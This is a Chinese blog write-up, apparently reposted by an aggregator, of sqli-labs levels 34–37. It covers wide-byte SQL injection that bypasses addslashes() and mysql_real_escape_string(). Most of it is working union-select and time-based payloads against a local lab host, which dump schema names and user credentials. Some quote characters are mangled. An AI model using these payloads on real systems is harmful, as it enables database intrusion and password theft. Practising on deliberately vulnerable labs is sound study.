Less34-Less37 (宽字节注入)
Posted 7-58
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Less34-Less37 (宽字节注入)相关的知识,希望对你有一定的参考价值。
Less34:
输入 admin admin 登录成功
输入 a c 登录失败,没有报错信息
看源码
本关也使用了addslashes()函数,理论上我们可以使用前几关中的宽字节注入的方法进行测试,但是测试的时候发现,方法并不奏效。(主要原因是因为我们不能够直接在POST中传入数据,因为会被再次编码)
分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:
法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘à ?’
法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入
方法一:
- 在POST中传入的数据:1 ?‘ union select 1,2# (注意:在这里不能够再使用--+ -- 空格等这样的注释符,推荐使用#)其中 第一个1是随意的数字
方法二:
输入 a%df’ a%df’
抓包
- 但我们在这个里面改的时候,通过burpsuite抓包发现还是会给我们加上%25,所以我们直接在burpsuite中修改信息得到返回信息即可!
修改信息,forward,intercept is on ,返回关卡界面
Less35: id没有任何包裹
http://192.168.27.156/sqli-labs/Less-35/?id=-1 union select 1,2,3 --+
因为下面的查询都没有涉及到宽字节,所以下面的跟第1关一样
?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata --+
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security‘ --+
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users‘ --+
?id=-1 union select 1,2,group_concat(concat(‘~‘,username,password)) from security.users--+
使用时间盲注的方法也可以
http://192.168.27.156/sqli-labs/Less-35/?id=1 and if(length(database())>1,1,sleep(5) )
Less-36:使用’1’进行包裹
http://192.168.27.156/sqli-labs/Less-36/?id=1
http://192.168.27.156/sqli-labs/Less-36/?id=1‘ 单引号被转义
使用宽字节注入
http://192.168.27.156/sqli-labs/Less-36/?id=1%df‘ union select 1,2,3 --+
http://192.168.27.156/sqli-labs/Less-36/?id=-1%df‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479 --+
http://192.168.27.156/sqli-labs/Less-36/?id=-1%df‘ union select1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
Less37:
输入 admin admin 登录成功
输入 ad a 登录失败
可见与第34关一致, 与34关基本相似,本关只是将过滤函数进行了替换: mysql_real_escape_string(),同样,我们可以直接按照34关的方法即可!
- 分析:在get型传参的时候使用URLencode,所以我们可以使用以下两种方法:
方法一:我们借鉴了将单引号的UTF-8转换为UTF-16的单引号模式 ‘ à ?‘
方法二:我们使用burpsuite进行抓包之后对数据进行宽字节注入
方法一:
方法二:抓包
又将 %转化为%25
以上是关于Less34-Less37 (宽字节注入)的主要内容,如果未能解决你的问题,请参考以下文章
sqli-labs less34 POST- Bypass AddSlashes (POST型绕过addslashes() 函数的宽字节注入)